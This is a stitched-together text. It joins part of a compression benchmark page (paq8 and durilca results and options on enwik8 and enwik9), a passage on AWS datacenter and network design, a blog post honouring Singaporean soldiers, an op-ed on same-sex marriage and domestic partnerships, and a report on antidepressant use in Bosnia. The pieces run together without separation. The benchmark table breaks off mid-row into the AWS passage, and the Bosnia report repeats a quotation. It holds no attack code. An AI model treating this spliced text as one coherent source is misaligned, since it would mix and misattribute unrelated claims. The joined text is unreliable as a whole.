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8pxd_v47 was released Mar. 18, 2018. Options select memory usage as shown in the table. Early versions took no options. Most versions were not tested on enwik9 due to their slow speed. Compression Compressed size Decompresser Total size Time (ns/byte) Program Options enwik8 enwik9 size (zip) enwik9+prog Comp Decomp Mem Note ------- ------- ---------- ----------- ----------- ----------- ----- ----- --- ---- p5 31,255,092 9,298 s 3421 1 6 p6 25,377,998 9,421 s 4190 16 6 p12 24,714,219 9,598 s 4160 16 6 paq1 22,156,982 16,436 s 7800 7790 50 paq6 v2 -8 19,589,267 26,548 s 47624 808 paqar 4.5 -7 18,388,609 414,164 s 118690 119010 470 paq8f -7 18,289,559 34,371 x 68960 854 -8 18,075,265 34,371 x 69170 1693 paq8g -7 17,817,246 804,867 s 44130 854 paq8h -7 17,674,700 147,195,723 801,612 s 147,997,335 56511 57278 854 5 raq8g -7 18,132,399 33,483 x 84555 84793 1089 -8 17,923,022 27,660 x 337430~330000 2095 17 -8 17,923,022 27,660 x 196540~196000 2095 15 paq8j -7 18,208,284 39,366 s 138030 138260 959 -8 17,991,628 39,366 s 138990 136500 1896 paq8ja -7 18,184,224 39,781 s 148560 143200 993 -8 17,968,233 39,781 s 154700 153990 1965 paq8jb -7 18,180,081 39,982 s 148570 148200 1009 -8 17,964,363 39,982 s 188590 190190 1999 paq8jc -7 18,185,705 40,064 s 150910 152080 1017 -8 17,970,943 40,064 s 224410 234900 2015 paq8jd -7 18,158,159 40,460 s 157340 156350 1030 -8 17,943,042 40,460 s 406730 2028 paq8k -8 18,239,915 41,881 s 457150 1463 paq8l -6 18,518,485 35,955 x 133910 435 -7 18,168,563 35,955 x 134770 837 -8 17,916,450 35,955 x 136000 136390 1643 paq8fthis2 -8 18,075,265 34,846 x 69100 69310 1693 paq8n -8 17,916,420 37,402 x 134880 135480 1643 paq8o -8 17,916,451 42,389 s 135850 135260 1643 paq8osse -8 17,916,451 42,290 s 125260 124570 1778 paq8o3 -8 17,916,450 43,745 s 134580 134530 1636 paq8o4 v1 -8 17,916,450 43,876 s 126780 126560 1636 paq8o6 -8 17,904,721 44,883 s 139530 139520 1712 paq8o7 -8 17,904,756 45,979 s 139140 138530 1574 paq8o8 -8 17,904,756 46,381 s 139370 139150 1574 paq8o8-intel -1 22,260,679 46,381 s 24687 37 24 paq8o8z-jun7 -1 22,260,679 49,085 s 25919 37 24 -1 22,260,680 29639 37 25 paq8o10t -8 17,772,821 50,865 s 144250 143720 1591 paq8p3 -7 18,044,229 150,709,834 57,288 s 150,767,122 72412 803 29 paq8p3 v2 -7 17,990,788 86891 803 29 -8 17,759,875 87305 1574 29 paq8px_v60_turbo -8 17,733,057 146,272,609 53,846 s 146,326,455 143846 1643 26 paq8px_v69 -7 17,939,225 20170 878 26 paq8pxd_v1 -7 17,596,170 144,773,408 83,547 s 144,856,955 63302 811 29 paq8pxd_v2 -7 17,045,653 94280 853 29 -8 16,848,214 95350 1658 29 paq8pxd_v3 -7 17,045,354 140,110,094 72,976 s 140,183,094 80069 853 29 -8 16,847,903 136,777,893 72,976 s 136,850,869 82822 1658 29 paq8pxd_v4 -8 16,642,941 135,027,170 67,766 s 135,094,936 88409 1633 29 paq8pxd_v5 -8 16,699,597 67,745 s 114960 116450 1633 26 paq8pxd_v7 -8 16,606,773 134,791,909 70,210 s 134,862,119 93751 1633 29 paq8pxd_v8 -8 16,607,759 134,781,085 72,059 s 134,853,144 59387 54611 1521 48 paq8pxd_v10fix -8 16,607,760 134,780,308 72,382 s 134,852,690 37177 54433 1633 48 paq8pxd_v12 -8 16,577,460 134,452,453 81,196 s 134,533,649 54812 54506 1586 48 paq8pxd_v12-skbuild -10 16,372,331 129,827,930 422,400 s 130,250,330 28313 6500 65 paq8pxd_v13_x64 -15 16,595,606 131,598,576 83,499 s 131,682,075 29924 25955 65 paq8pxd_v15 -s9 16,437,892 131,992,226 88,538 s 132,080,764 54993 55067 3243 48 -f9 17,838,013 11980 11760 1555 48 paq8pxd_v12_bio -11 16,361,221 129,435,477 82,111 s 129,517,588 30537 13000 65 paq8pxd_v18 -q8 27,789,833 237,862,503 100,521 s 237,963,024 738 144 80 -q9 27,674,156 235,259,956 100,521 s 235,360,477 794 288 80 -f8 17,896,675 146,238,833 100,521 s 146,339,354 8725 762 80 -f9 17,814,539 6696 1482 80 -f10 17,790,248 7401 2666 80 -f11 18,081,957 7082 5034 80 -f12 18,078,461 8755 5674 80 -s8 16,516,558 134,561,662 100,521 s 134,662,183 75267 2298 80 -s9 16,370,991 65814 4552 80 -s10 16,308,754 65233 7448 80 -s15 16,345,626 129,125,083 100,521 s 129,225,607 46698 46608 37878 79 paq8px_v77 -8 17,629,076 145,454,919 62,154 s 145,517,073 86266 86192 1625 48 drt|paq8px_v96 -8 16,704,802 137,170,609 167,886 s 137,338,495 63618 64113 1700 81 paq8pxd_v32 -s15 16,254,271 128,209,407 144,756 s 128,354,163 41418 43518 27278 81 paq8pxd_v47 -s15 16,080,717 127,404,715 139,841 s 127,544,556 75022 75611 27500 81.1277 durilca durilca and durilca'light 0.5 by Dmitry Shkarin (Apr. 1, 2006) are closed source, experimental command line file compressors based on ppmd/ppmonstr with filters for text, exe, and data with fixed length records (wav, bmp, etc). durilca'light is a faster version with less compression. Unfortunately both crash on enwik9. Decompression is verified on enwik8. The -m700 option selects 700 MB of memory. (It appears to use substantially more for enwik9 according to Windows task manager). -o12 selects PPM order 12 (optimal for enwik9 -t0). -t0 (default) turns off text modeling, which hurts compression but is necessary to compress enwik9 (although decompression still crashes). -t2(3) turns on text preprocessing (dictionary; thus the increased decompresser size). -t2 also supports 3 additive flags (4, 8, 16) which have no effect on this data, thus -t2(31) or -t2 (default is 31) give the same compression as -t(3). durilca 0.5(Hutter) was released 1457Z Aug. 16, 2006. It does not use external dictionaries. When run with 1 GB memory (-m700), -o13 is optimal. With 2 GB (-m1650), -o21 is optimal. The unzipped.exe file is 86,016 bytes. durilca4linux_1 (0825Z Aug 23 2006) is a Linux version of durilca 0.5(Hutter) which successfully compresses enwik9 and decompresses with UnDur (23,375 bytes zipped, 42,065 bytes uncompressed). All versions of durilca require memory specified by -m plus memory to read the input file into memory. In Windows, this exceeds the 2 GB process limit regardless of available RAM and swap. Thus, enwik9 compresses only under Linux with 2 GB real memory and 1 GB additional swap. The -o12 option is optimal for enwik9 (tested under 64 bit SuSE 10.0 by the author), -o24 for enwik8 (verified by me under 64 bit Ubuntu 2.6.15). durilca4linux_2 (Oct. 16, 2006) is a closed source Linux version specialized for this benchmark. It includes a warning that use on other files may cause data loss. It requires AMD64 Linux and 3 GB of memory (2 GB for enwik8). The decompresser files (EnWiki.dur and UnDur) are contained within a 241,322 byte zip file in the rar distribution. To compress:./DURILCA d EnWiki.dur./DURILCA e -m1800 -o10 -t2 enwik9 To decompress:./UnDur EnWiki.dur./UnDur enwik9.dur The first step extracts a compressed dictionary. It is organized in a similar manner to paq8hp2-paq8hp5 in that syntactically related words and words with the same suffix are grouped together. Results are reported by the author under Suse Linux 10.0. I verified enwik8 only (6480 ns/b to compress on a 2.2 GHz Athlon 64 with 2 GB memory under Ubuntu Linux). enwik9 caused disk thrashing. durilca4linux_3 (dictionary version v1) was released Feb. 21, 2008. Like version 2, it requires extraction of EnWiki.dur before compressing or decompressing, and may not work with files other than enwik8 and enwik9. As tested, requires 64-bit Linux, 4 GB RAM, and 5 GB RAM+swap. undur3 v2 contains an improved dictionary (version v2), released Apr. 22, 2008, for DURILCA4Linux_3. The compression and decompression programs are the same. The decompression program UnDur (Linux executable) is included. To compress, download durilca4linux_3 and replace the dictionary (EnWiki.dur) with this one. The options are -m3600 (3600 MB memory), -o14 (order 14 PPM), -t2 (text model 2). undur3 v3, released May 22, 2008, uses an improved dictionary but the same compressor and decompresser as v1 and v2. The dictionary contains 123,995 lowercase words separated by NUL bytes. Of these, 5579 words occur more than once (wasted space?) I tested options -m1500 under Ubuntu Linix with 2 GB memory. At -m1500 top reports 2157 MB virtual memory and 1894 MB real memory. -m1600 caused disk thrashing. durilca kingsize (July 21, 2009) runs under 64 bit Windows and requires 13 GB memory. It is designed to work only on this benchmark and not in general. The dictionary file EnWiki.fsd must be extracted first from EnWiki.dur before compression or decompression. Requires msvcr90.dll. enwik8 can be compressed with -m1200 (1.2 GB). durilca4_decoder is a new dictionary for durilca'kingsize (above), Nov. 12, 2009. It is reported as "durilca'kingsize_4" below. Decompression time is reported to be 1411.88 sec with "durilca d" and 1796.98 sec with "UnDur". enwik8 compresses with 1200 MB (-m1200) in 157.38 sec. Compression Compressed size Decompresser Total size Time (ns/byte) Program Options enwik8 enwik9 size (zip) enwik9+prog Comp Decomp Notes ------- ------- ---------- ----------- ----------- ----------- ----- ----- ----- durilca'light 0.5 -m650 -o12 21,089,993 178,562,475 1,495,422 x 180,057,897 1227 (fails) durilca 0.5 -m700 -o12 -t0 19,227,202 162,117,578 74,292 x 162,191,870 4140 (fails) -m800 -o128 19,321,003 164,298,178 74,292 x 165,372,470 7718 (fails) -m700 -o12 -t2(3) 18,520,589 (fails) 1,507,312 x 3330 3940 durilca 0.5(Hutter) -m700 -o13 -t2 18,128,339 (fails) 77,295 x 5905 -m1650 -o21 -t2 17,958,687 (fails) 77,295 x 6140 6140 durilca4linux_1 -m700 -o13 -t2 18,128,334 23,375 xd 5950 5880 -m1750 -o12 -t2 18,027,888 146,521,559 23,375 xd 146,544,934 5500 7301 18 -m1750 -o24 -t2 17,949,422 23,375 xd 6190 6780 durilca4linux_2 -m1800 -o10 '-t2(11)' 17,002,831 136,536,189 241,322 xd 136,777,511 4249 4827 18 -m1800 -o10 -t2 16,998,300 136,596,818 241,322 xd 136,838,140 4405 4894 18 durilca4linux_3 v1 -m3600 -o14 -t2 16,356,063 129,933,145 345,957 xd 130,279,102 3649 3715 18 -m1200 -o32 -t2 16,348,796 4170 4178 18 durilca4linux_3 v2 -m3600 -o14 -t2 16,323,581 129,670,441 344,525 xd 130,014,966 3628 3639 18 -m1200 -o32 -t2 16,316,255 4148 4157 18 durilca4linux_3 v3 -m3600 -o14 -t2 16,292,414 129,469,384 339,990 xd 129,809,374 3624 3627 18 -m1200 -o32 -t2 16,285,285 4135 4138 18 -m1500 -o6 -t2 16,517,051 133,674,565 3852 -m1500 -o7 -t2 16,418,799 132,239 495 4006 -m1500 -o8 -t2 16,368,632 131,722,213 4149 -m1500 -o9 -t2 16,335,259 131,549,901 339,990 xd 131,889,891 4261 4344 -m1500 -o10 -t2 16,316,775 131,574,739 4405 -m1500 -o11 -t2 16,306,086 131,707,901 4544 -m1500 -o12 -t2 16,299,411 131,807,298 4554 -m1500 -o14 -t2 16,292,414 132,238,662 4763 -m1500 -o16 -t2 16,289,512 132,516,825 4879 -m1500 -o32 -t2 16,285,285 134,238,759 5440 durilca'kingsize -m13000 -o40 -t2 16,258,380 127,695,666 333,790 xd 128,029,456 1413 1805 31 -m22500 -o40 -t2 127,695,666 1806 1814 34 durilca'kingsize_4 -m13000 -o40 -t2 16,209,167 127,377,411 407,477 xd 127,784,888 1398 1797 31 16,209,167 127,377,411 1788 1802 34.1301 cmve cmv 00.01.00 is a free, closed source, experimental file compressor for 32 bit Windows by Mauro Vezzosi, Sept. 6, 2015. It uses context mixing. Option "2,3,+" selects max compression (2), max memory (3), and a large set of models (+). A hex bitmap for this argument turns individual models on or off. Note 48 timings are for enwik8 only. cmv 00.01.01 was released Jan. 10, 2016. It is compatible with 00.01.00 and does not change the compression ratio. cmve 0.2.0 was released Nov. 28, 2017. Program Options enwik8 enwik9 zip size Total Comp Deco Cmem Dmem Alg Note -------- ----------- ---------- ----------- --------- ----------- ---- ---- ---- ---- ---- ---- cmv 00.01.00 -m2,3,+ 18,218,283 150,226,739 77,404 x 150,304,143 285750 293090 2817 2817 CM 48,75 150,226,739 77,404 x 150,304,143 216000 2801 CM 75 -m2,3,0x03ededff 18,153,319 720000 ~3900 CM 75 cmv 00.01.01 -m2,3,0x03ed7dfb 18,122,372 149,357,765 77,404 x 149,435,169 426162 394855 3335 3335 CM 75 cmve 0.2.0 -m2,3,0x7fed7dfd 16,424,248 129,876,858 307,787 x 130,184,645 1140801 19963 CM 81.1323 paq8hp12any paq8hp12any was developed as a fork of the PAQ series of open source context mixing compressors by Alexander Rhatushnyak. It was forked from the paq8 series developed largely by Matt Mahoney, and uses a dictionary preprocessor (xml-wrt) originally developed by Przemyslaw Skibinski as a separate program and later integrated. All versions are optimized for the Hutter prize. Thus, they are tuned for enwik8. The 12 versions are described below in chronological order. They originally were located here (link broken) and can now be found here (as a zpaq archive) (as of Sept. 16, 2009). All programs are free, GPL open source, command line archivers. Most take a single option controlling memory usage. Note: these programs are compressed with upack, which compresses better than upx. Some virus detectors give false alarms on all upack-compressed executables. The programs are not infected. paq8hp1 by Alexander Rhatushnyak, 1945Z Aug. 21, 2006. It is a modification of paq8h using a custom dictionary tuned to enwik8 for the Hutter prize. Because the Hutter prize requires no external dictionaries, the dictionary is spliced into the.exe file during the build process. When run, it creates the dictionary as a temporary file. The program must be run in the current directory (not in your PATH or with an explicit path), or else it can't find this file. The unzipped paq8hp1.exe is 206,764 bytes. Decompression was verified for enwik8 (60730 ns/b for -8, 60660 ns/b for -7). enwik9 is pending. paq8hp2 (source code) by Alexander Rhatushnyak, 0233Z Aug. 28, 2006 is an improved version of paq8hp1 submitted for the Hutter prize. paq8hp2.exe size is 205,276 bytes. It differs from paq8hp1 mainly in that the 43K word dictionary for 2-3 byte codes is sorted alphabetically. The 80 most frequent words, coded as 1 byte before compression, are grouped by syntactic type (pronoun, preposition, etc). paq8hp3 (source code) by Alexander Rhatushnyak, released Aug. 29, 2006 is an improved version of paq8hp2 submitted for the Hutter prize on Sept. 3, 2006. The 80 dictionary words coded with 1 byte and 2560 words coded with 2 bytes are organized into semantically related groups or by common suffixes. The 40,960 words with 3 byte codes are sorted from the last character in reverse alphabetical order. paq8hp3.exe is 178,468 bytes unzipped. enwik9 decompression is not yet verified. For enwik8, decompression is verified with time 60300 ns/b compression, 60220 ns/b decompression. paq8hp4 (source code) by Alexander Rhatushnyak, released and submitted for the Hutter prize on Sept. 10, 2006, is an improved version of paq8hp3. The dictionary is further organized into semantically related groups among 3-byte codes. The unzipped size of paq8hp4.exe is 206,336 bytes. paq8hp5 (source code) by Alexander Rhatushnyak, released Sept. 20, 2006, is an improved version of paq8hp4, submitted for the Hutter prize on Sept. 25, 2006. The unzipped size of paq8hp5.exe is 174,616 bytes (in spite of a slightly larger dictionary). The dictionary size is optimized for enwik8; a larger dictionary would improve compression of enwik9. Decompression is verified for enwik8 only (-8 at 74640 ns/b). A Linux port of paq8hp5 is by Лъчезар Илиев Георгиев (Luchezar Georgiev), Oct 26, 2006 (mirror). paq8hp6 (source code) by Alexander Rhatushnyak, released Oct. 29, 2006, is an improved version of paq8hp5. It was submitted as a Hutter prize candidate on Nov. 6, 2006. Unzipped paq8hp6.exe size is 170,400 bytes. The -8 option was not tested on enwik9 due to disk thrashing on my 2 GB PC. Compression was about 25% finished after 9 hours. paq8hp7a by Alexander Rhatushnyak, Dec. 7, 2006, was intended to supercede paq8hp6 as a Hutter prize entry, then was withdrawn on Dec. 10, 2006 with the release of paq8hp7. Unzipped executable size is 151,664 bytes. -8 for enwik9 (but not enwik8) caused disk thrashing on my computer (2 GB, WinXP). paq8hp7 (source code) by Alexander Rhatushnyak, Dec. 10, 2006, as a Hutter prize entry. Unzipped paq8hp7.exe size is 152,556 bytes. paq8hp8 (source code) by Alexander Rasushnyak, Jan. 18, 2007, as a Hutter prize entry (replacing an incorrect version posted 2 days earlier). Unzipped size is 152,692 bytes. The dictionary is identical to paq8hp7. paq8hp9 (mirror) (source code) by Alexander Rhatushnyak, Feb. 20, 2007, is a Hutter prize entry. Only the -7 option works. The unzipped size of paq8hp9.exe is 112,628 bytes. paq8hp9any (Feb. 23, 2007) by Alexander Rhatushnyak is a paq8hp9 -7 compatible version with external dictionary where all options work. However the zipped program is larger and -8 was not tested due to disk thrashing, so results are unchanged. paq8hp10 (Mar. 26, 2007) by Alexander Rhatushnyak was derived from paq8hp9 as a Hutter prize entry. The unzipped size is 103,224 bytes. Only the -7 option works. paq8hp10any (source code), Mar. 31, 2007, by Alexander Rhatushnyak is archive compatible with paq8hp10 -7 but works with other memory options. When run, paq8hp10.exe and both dictionary files should be in the current directory. This program is not a Hutter prize entry. paq8hp11 (mirror) by Alexander Rhatushnyak, Apr. 30, 2007, is a Hutter prize entry. paq8hp11.exe is 99,816 bytes. Like paq8hp10, it works only with the -7 option. To compress: paq8hp11 -7 enwik8.paq8hp11 enwik8 To decompress: paq8hp11 enwik8.paq8hp11 paq8hp11any (source code) by Alexander Rhatushnyak, May 2, 2007, is a paq8hp11 variant that accepts any memory option. It was optimized for speed rather than size. It includes two dictionary files which must be present in the current directory when run, unlike paq8hp11 where the dictionary is self extracted. -8 selects 1850 MB memory. -7 produces the same archive as paq8hp11. Run speeds for -8 enwik8 are 76770+76820 ns/B. paq8hp12 (mirror) by Alexander Rhatushnyak, May 14, 2007, is a Hutter prize entry. paq8hp12.exe size is 99,696 bytes. It works only with the -7 option like paq8hp11. paq8hp12any (source code) by Alexander Rhatushnyak, May 20, 2007, is a paq8hp12 variant that accepts any memory option (like paq8hp11any). The -7 option produces an archive identical to that of paq8hp12. paq8hp12any was updated on Jan. 9, 2009 to fix a compiler issue and add a 64 bit Linux version. Compressed file format was not changed. It was not retested. Options select memory usage as shown in the table. Compression Compressed size Decompresser Total size Time (ns/byte) Program Options enwik8 enwik9 size (zip) enwik9+prog Comp Decomp Mem Note ------- ------- ---------- ----------- ----------- ----------- ----- ----- --- ---- paq8hp1 -7 17,566,769 205,783 x 60170 60660 748 -8 17,397,023 142,477,977 205,783 x 142,683,760 63317 1595 paq8hp2 -7 17,390,490 204,557 x 62000 62330 747 -8 17,223,661 141,145,684 204,557 x 141,350,241 65323 1584 paq8hp3 -7 17,241,280 177,477 x 61360 59690 742 -8 17,085,021 139,905,045 177,477 x 140,082,522 63420 1586 paq8hp4 -7 17,039,173 198,525 x ~65000 65110 755 -8 16,889,237 138,188,695 198,525 x 138,387,220 67956 68120 1598 paq8hp5 -7 16,898,402 161,887 x 76300 77710 900 19 -8 16,761,044 137,017,311 161,887 x 137,179,198 ~85153 75162 1787 paq8hp6 -7 16,731,800 138,828,889 166,715 x 138,995,604 74953 73707 941 -8 16,568,451 135,281,289 166,715 x 135,448,004 60865 1807 21 paq8hp7a -7 16,592,672 137,441,743 150,678 x 137,592,421 79795 940 -8 16,431,239 150,678 x 76940 77600 1790 paq8hp7 -7 16,579,500 151,633 x 79620 79660 940 -8 16,417,646 133,835,408 151,633 x 133,987,041 66074 1850 21 paq8hp8 -7 16,528,353 151,711 x 79580 79970 940 -8 16,372,960 133,271,398 151,711 x 133,423,109 64639 1849 22 paq8hp9 -7 16,516,789 136,676,674 111,653 x 136,788,327 84529 85957 940 paq8hp10 -7 16,490,947 102,256 x 86720 88890 940 paq8hp10any -8 16,335,197 132,979,531 333,925 x 133,313,456 55639 1849 22 paq8hp11 -7 16,459,515 98,851 x 129540 128530 947 paq8hp11any -8 16,304,862 132,757,799 327,608 s 133,085,407 57503 1850 22 paq8hp12 -7 16,381,959 98,745 x 130820 131480 936 paq8hp12any -7 16,381,959 330,700 x 78860 76190 941 -8 16,230,028 132,045,026 330,700 x 132,375,726 56993 1850 22 -8 16,230,028 132,045,026 330,700 x 132,375,726 37660 37584 1850 41 paq8hp1 through paq8hp12 can be used as a preprocessor to other compressors by compressing with option -0. In the following tests on ppmonstr, options were tuned for the best possible compression of enwik8 with 2 GB memory (1.65 GB available under WinXP). The xml-wrt 2.0 options are -l0 -w -s -c -b255 -m100 -e2300 (level 0, turn off word containers, turn off space modeling, turn off containers, 255 MB buffer for dictionary, 100 MB buffer, 2300 word dictionary). The xml-wrt 3.0 options are -l0 -b255 -m255 -3 -s -e7000 (-3 = optimize for PPM). xml-wrt prepends the dictionary to its output. To make the comparison fair, the compressed size of the dictionary must be added. This is done in two ways, first by compressing the preprocessed text and dictionary and adding the compressed sizes, and second by prepending the dictionary to the preprocessed text before compression. The first method compresses about 1-2 KB smaller. The uncompressed size of each dictionary for paq8hp1 through paq8hp4 is 398,210 bytes. They contain identical words, but in different order. The first two dictionaries are identical. They compress smaller because they are sorted alphabetically. The dictionary for paq8hp5 is 411,681 bytes. It contains all of the words in the first 4 dictionaries plus 1280 new words (44,880 total). Preprocessor Compressor enwik8 dict total dict+enwik8 ------------ ---------- ---------- ------- ---------- --------- paq8hp1 -0 | ppmonstr J -m1650 -o64 18,322,077 81,190 18,403,267 18,403,991 paq8hp2 -0 | ppmonstr J -m1650 -o64 18,266,424 81,190 18,347,614 18,349,587 paq8hp3 -0 | ppmonstr J -m1650 -o64 18,197,
|
2 milliseconds apart; this speed is what allows for synchronous data replication, since committing data to a solid state drive takes – wait for it – between 1 and 2 milliseconds.
If you did normal, geo-scale replication like an enterprise typically does for critical applications, with perhaps a worst-case scenario with a datacenter in New York and another in Los Angeles, the delay would be on the order of 74 milliseconds. You cannot do synchronous replication at that latency, and that means during a failure, you lose the data that was in flight before it could commit at the backup system and then you need to use journals to recover it, and this can take days.
This is why Amazon, the retailer, invented availability zones back in 2000. This approach is more expensive in some ways, but failover is faster – the AZs in the US East region had 25 Tb/sec of bandwidth between them – and easier, so it is worth it so long as you really need apps to be available. When you are an online retailer, you do. Imagine if you drove up to a Wal*Mart and the whole store just flickered out. (OK, that is a much cooler disaster.) If some stupid error happens, like a load balancer fails, one of the AZs just picks up the load and moves on, you re-synch later.
Now, drill down into one availability zone. The datacenters inside the availability zones in US East are about a quarter of a millisecond apart on the network, and no datacenter spans more than one zone. In fact, as noted above, an AZ can have multiple datacenters, and in fact, US East appears to have ten datacenters even though the chart above says some AZs have as many as six DCs. There are redundant transit centers into the availability zones. So Amazon can lose a transit center and multiple AZs and everything keeps working.
Drill down into an AZ and you have a datacenter, which as we already said above, has over 50,000 servers and sometimes over 80,000 machines. An AWS datacenter is rated at 25 megawatts to 30 megawatts, which means at the 87 datacenters I am projecting in total for AWS at the moment, that is somewhere between 2.17 gigawatts and 2.6 gigawatts of total electric capacity. Hamilton says that Amazon could do 60 megawatt datacenters, but the problem is, moving from 2,000 racks to 2,500 racks does not lower the incremental costs that much and at some point the failure zone, what he called the blast radius, was too large. "At some point, the value goes down and the costs go up, and in our view, this is around the right number," Hamilton says of the datacenter size AWS has chosen.
Write that down, competitors.
A single datacenter has up to 102 Tb/sec of bandwidth allocated to come into it – four times the aggregate inter-AZ bandwidth across the US East region, and Hamilton adds that the bandwidth inside the datacenter is "wildly higher" than this 102 Tb/sec.
Now, let's dive into a rack and drill down into a server and its virtualized network interface card. The network interface cards support Single Root I/O Virtualization (SR-IOV), which is an extension to the PCI-Express protocol that allows the resources on a physical network device to be virtualized. SR-IOV gets around the normal software stack running in the operating system and its network drivers and the hypervisor layer that they sit on. It takes milliseconds to wade down through this software from the application to the network card. It only takes microseconds to get through the network card itself, and it takes nanoseconds to traverse the light pipes out to another network interface in another server. "This is another way of saying that the only thing that matters is the software latency at either end," explained Hamilton. SR-IOV is much lighter weight and gives each guest partition on a virtual machine its own virtual network interface card, which rides on the physical card.
So what took Amazon so long to get there? It is pretty hard to add security, isolation, metering, capping, and performance metrics to a network stack you have essentially removed, and it took a while to figure out how to do that. The newer instance types at AWS have this SR-IOV functionality, and it will eventually be available on all instance types.
Here is the upshot of the homegrown network that AWS has created:
It is on a log scale, so remember that. The new network, after it was virtualized and pumped up, showed about a 2X drop in latency compared to the old network at the 50th percentile for latency on data transmissions, and at the 99.9th percentile the latency dropped by about a factor of 10X. For extreme outliers – and these transactions are the ones that can cause crazy things to happen in applications at the worst possible times – the latency was several orders of magnitude lower and therefore much, much less damaging to applications.
So if you are wondering why your network performance has improved recently on AWS, now you know.The soldier is keeping watch.
Charlie Mike Blocked Unblock Follow Following Oct 24, 2017
The soldier is keeping watch.
It is hot, humid and uncomfortable. The thick coat of moisture hangs in the still air. The mid morning sun is relentless. The soldier stares into the distance, trying his best to stay alert, even as his eyes squint in the bright daylight, and sweat rolls down his back.
The middle of the night watch is the hardest. The body not accustomed to staying awake at the wee hours, screams for sleep. The soldier looks into the dark of the night, even as the lights of our city shines brightly. The soldier will try to remember the shapes of the silhouettes, so that he can detect any changes and sound the alarm.
Keeping watch is a dull, dirty and dangerous job. You stay awake and alert for that “just in case moment”. Everyday, our NSFs and NSmen are keeping watch and staying vigilant. They are trained and armed to do so. They are deployed at the frontlines, in many important facilities in Singapore — the Changi Airports, Jurong Islands and also military camps. Some may be confined to camp. They are keeping a high alert status because the threat is real. And they know that when the button is pressed, bullets will fly and lives are at stake.
LCP Muhd Ilham is a trooper from 9 SIR. One of his job is to protect Jurong Island — an important petro-chemical refinery complex for Singapore. Ilham says this about his job, “I take the security operations that I am tasked with seriously, as I know what I am doing is keeping my loved ones and fellow Singaporeans safe. This makes me proud of what I do.”
There are many more Ilhams. NSFs and NSmen who take their training seriously, and do their job professionally. Often, we are shy to admit it. Our reflex is to criticise and grumble. But the soldier is keeping watch, doing the dull and the dangerous because he knows it is important, and it matters. I say that we celebrate the soldier keeping watch, because he is doing his job, and it matters.WILL the New York State Legislature ultimately put itself on the right side of history by allowing same-sex couples to marry? Many of us in the lesbian, gay, bisexual and transgender community, amazed at how quickly public opinion has evolved on this issue, are eager for this historic civil rights victory.
My hope comes with some worry, however.
While many in our community have worked hard to secure the right of same-sex couples to marry, others of us have been working equally hard to develop alternatives to marriage. For us, domestic partnerships and civil unions aren’t a consolation prize made available to lesbian and gay couples because we are barred from legally marrying. Rather, they have offered us an opportunity to order our lives in ways that have given us greater freedom than can be found in the one-size-fits-all rules of marriage.
It’s not that we’re antimarriage; rather, we think marriage ought to be one choice in a menu of options by which relationships can be recognized and gain security. Like New York City’s mayor, Michael R. Bloomberg, who has been in a relationship for over 10 years without marrying, one can be an ardent supporter of marriage rights for same-sex couples while also recognizing that serious, committed relationships can be formed outside of marriage.
Here’s why I’m worried: Winning the right to marry is one thing; being forced to marry is quite another. How’s that? If the rollout of marriage equality in other states, like Massachusetts, is any guide, lesbian and gay people who have obtained health and other benefits for their domestic partners will be required by both public and private employers to marry their partners in order to keep those rights. In other words, “winning” the right to marry may mean “losing” the rights we have now as domestic partners, as we’ll be folded into the all-or-nothing world of marriage.
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Of course, this means we’ll be treated just as straight people are now. But this moment provides an opportunity to reconsider whether we ought to force people to marry — whether they be gay or straight — to have their committed relationships recognized and valued.The use of antidepressants is on the rise in Bosnia -- one, albeit unwanted, measure by which Bosnia is indeed matching or exceeding European norms.
Comprehensive data is not available, but various indicators show a sharp rise in the use of antidepressants, particularly in the past three years. For instance, last year more than 1 million packages of prescription antidepressants (1,030,898) were reportedly sold in Bosnia, a country of 3.5 million. This represents a rise of 14 percent since 2014, when 887,573 packages were sold.
Meanwhile, prescriptions of the antianxiety drug Bromazepam have shot up from 1,876,811 to 4,302,000 between 2013 and 2015.
These figures are supported by anecdotal evidence from pharmacies in the city of Tuzla, where customers asking for the controlled drug without a prescription are a daily occurrence.
"We often get people asking for Lexaurin (another name for Bromazepam) without a prescription, and when we turn them away they return almost immediately with a regular prescription. How this was obtained is hard to say. But we can confirm that demand for these drugs is rising disproportionately," said one pharmacy employee, adding that monthly sales of Lexaurin regularly exceeded sales of the common pain-relief drug paracetamol.
Various explanations have been suggested to explain the rise in the use of antidepressants and antianxiety drugs in Bosnia, including constant stress, financial insecurity, and general dissatisfaction with life more than 20 years after the Bosnian War.
Around 400,000 people in Bosnia suffer from post-traumatic stress disorder (PTSD). The invisible wounds of the four-year war that ended in 1995 are slow to heal. Yet at the same time many people are convinced that they were able to bear the wartime stresses and deprivations better than the anxieties brought by the peace that followed. The feeling is that they failed in peace, or that the peace failed them.
There is nothing to be cheerful about. Unemployment is a huge problem, especially among young people, many of whom are desperate and are leaving the country in droves. It is therefore perfectly understandable that people are searching for anything to calm their nerves, and antidepressants are first at hand."
Meanwhile, the generation that grew up after the war has not been spared its psychological effects.
Young journalist Anisa Mahmutovic has written a powerful testimony on how PTSD affects her entire family.
Both her parents suffered from PTSD throughout her childhood, and while it took her some time to understand what was happening, she has since become an expert on the condition in order to help them as much as possible.
Mahmutovic blames the effects of the war for the widespread use of antianxiety medications and antidepressants, but she adds that postwar Bosnian society has only made the situation worse. The common response to feelings of depression and anxiety is to self-diagnose and buy drugs -- many of which are all too easily accessible via illegitimate prescriptions, rather than seeking professional help.
"There are still far too many people who refuse to see a psychiatrist but prefer to buy their own medication," Mahmutovic said in a telephone interview with RFE/RL's Sarajevo bureau.
Prominent Sarajevo academic Zdravko Grebo feels that Bosnia's present reality is as much to blame for the rising consumption of antidepressants as the war.
"The simplest explanation is that [the use of antidepressants] is a desperate reaction to the conditions in the country. I mean the conditions in general -- the politics, the economy, the school system, the disastrous state of the courts and the judiciary, the pressure on independent media, and so on," Grebo said in an interview with RFE/RL. "There is nothing to be cheerful about. Unemployment is a huge problem, especially among young people, many of whom are desperate and are leaving the country in droves. It is therefore perfectly understandable that people are searching for anything to calm their nerves, and antidepressants are first at hand."
Most people simply feel left out, or that they are losing out, and the sheer passage of time and all that is happening around them takes its toll, regardless of one's mental strength. In that situation the easiest thing is to see a doctor or simply buy pills."
The country was already traumatized enough at the end of the conflict in 1995, when Grebo recalls asking the country's most prominent psychiatrist, the late Dr. Ismet Ceric, whether there was any precedent for the mass treatment of depression.
"I wondered if we could not all be sprayed daily with antidepressants using crop-dusting planes," Grebo says. "The joke at the time [in the aftermath of the war] was that whoever in this city and this country had not gone crazy yet -- that person was not normal."
Yet Grebo also believes that present-day Bosnia has much in common with some of the more advanced Western European societies where the high use of antidepressants is attributed to the climate and the crushing tedium of life -- or boredom.
